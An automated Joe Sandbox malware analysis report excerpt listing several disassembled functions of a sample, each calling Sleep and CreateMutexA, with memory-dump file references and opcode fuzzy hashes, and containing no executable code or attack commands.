Opcode Fuzzy Hash: d900c9a9d79f75fbd4d4ba1ea1aab6711db79ab3566228d99d7a55a72982c4cf
Instruction Fuzzy Hash: EF3139317041409BFF18BBB8DC8DB6DB662DBC5318F24421AE014EB2D5DB769984876A

Function 00C8A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C8A963
CreateMutexA.KERNEL32(00000000,00000000,00CE3254), ref: 00C8A981

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 78ef4ab90418e9869d017743558a42b8aac1471d24f4dda5f3e8c222406351c8
Instruction ID: dd8039df561442b016d9a945e7d91095fb089ac833797928209ac74574a25746
Opcode Fuzzy Hash: 78ef4ab90418e9869d017743558a42b8aac1471d24f4dda5f3e8c222406351c8
Instruction Fuzzy Hash: 743168317041009BFB18FB78DC8DB6DB722EB81318F24421AE014EB2D1CB359985872A

Function 00C8A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C8A963
CreateMutexA.KERNEL32(00000000,00000000,00CE3254), ref: 00C8A981

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 63108779f9120f3a58a5b8b90ef3acd65b83771754115b2ee287f39fd6b99c7b
Instruction ID: e4c50f10d4dde7bda5f5ac01b39947179955bbcff4dfab7804d98470780e1eff
Opcode Fuzzy Hash: 63108779f9120f3a58a5b8b90ef3acd65b83771754115b2ee287f39fd6b99c7b
Instruction Fuzzy Hash: E23168317042449BFB18EB78DC8DB6DB772DB81318F24861AE014EB2D5D7359A84872A

Function 00C89AE9 Relevance: 3.1, APIs: 2, Instructions: 104
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C8A963
CreateMutexA.KERNEL32(00000000,00000000,00CE3254), ref: 00C8A981

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9a709077c4bb7bc0795a5e86069456d3e0170acb72632971134f8af8a4eacac5
Instruction ID: 4f727f2b06a41581b0b1b0f1436b1d394eecbb8d7b7d47ac57eb4a6d989202c3
Opcode Fuzzy Hash: 9a709077c4bb7bc0795a5e86069456d3e0170acb72632971134f8af8a4eacac5
Instruction Fuzzy Hash: 4421AD31708240DBFB28BB68EC8D73CB722DBC1314F14022AF418DB6D1CB799A458716

Function 00C8A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C8A963
CreateMutexA.KERNEL32(00000000,00000000,00CE3254), ref: 00C8A981

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852284573.0000000000F99000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 18cda46b847c796e8669a190b3792360147b2fac77cffa417da8c7923b58d51e
Instruction ID: f08c1b9a95fbff96ce9ffcc5971c06470fccb6b427bb24dd6cc895daa2e815fe
Opcode Fuzzy Hash: 18cda46b847c796e8669a190b3792360147b2fac77cffa417da8c7923b58d51e
Instruction Fuzzy Hash: F7213D313482019AFB2877A8989E73DB3129F81308F240927E154DB6D1DA769A85937B

Function 00C8A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00C8A963
CreateMutexA.KERNEL32(00000000,00000000,00CE3254), ref: 00C8A981

Memory Dump Source

Source File: 00000000.00000002.1849939463.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1849783022.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849939463.0000000000CE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850497071.0000000000CE9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850569945.0000000000CEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850601920.0000000000CF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850753138.0000000000E47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850780359.0000000000E49000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850943190.0000000000E60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850982351.0000000000E63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E64000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851003745.0000000000E6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851059768.0000000000E73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851086084.0000000000E74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851108448.0000000000E76000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851129363.0000000000E77000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851152309.0000000000E80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851177718.0000000000E85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851199463.0000000000E86000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851225951.0000000000E87000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851253813.0000000000E9E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851276875.0000000000E9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851306445.0000000000EA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851334703.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851362953.0000000000ECB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851388583.0000000000ECF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851411218.0000000000ED0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851434823.0000000000ED6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851459813.0000000000EE3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851491399.0000000000EE8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851517777.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851542435.0000000000EF6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851569548.0000000000EFE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851637922.0000000000F03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851741147.0000000000F04000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851772896.0000000000F0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851794783.0000000000F12000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851816474.0000000000F14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851845562.0000000000F24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851869020.0000000000F25000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851906486.0000000000F2E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851927882.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851995226.0000000000F80000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852021609.0000000000F81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852095743.0000000000F82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852128946.0000000000F88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852167185.0000000000F8A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852226962.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
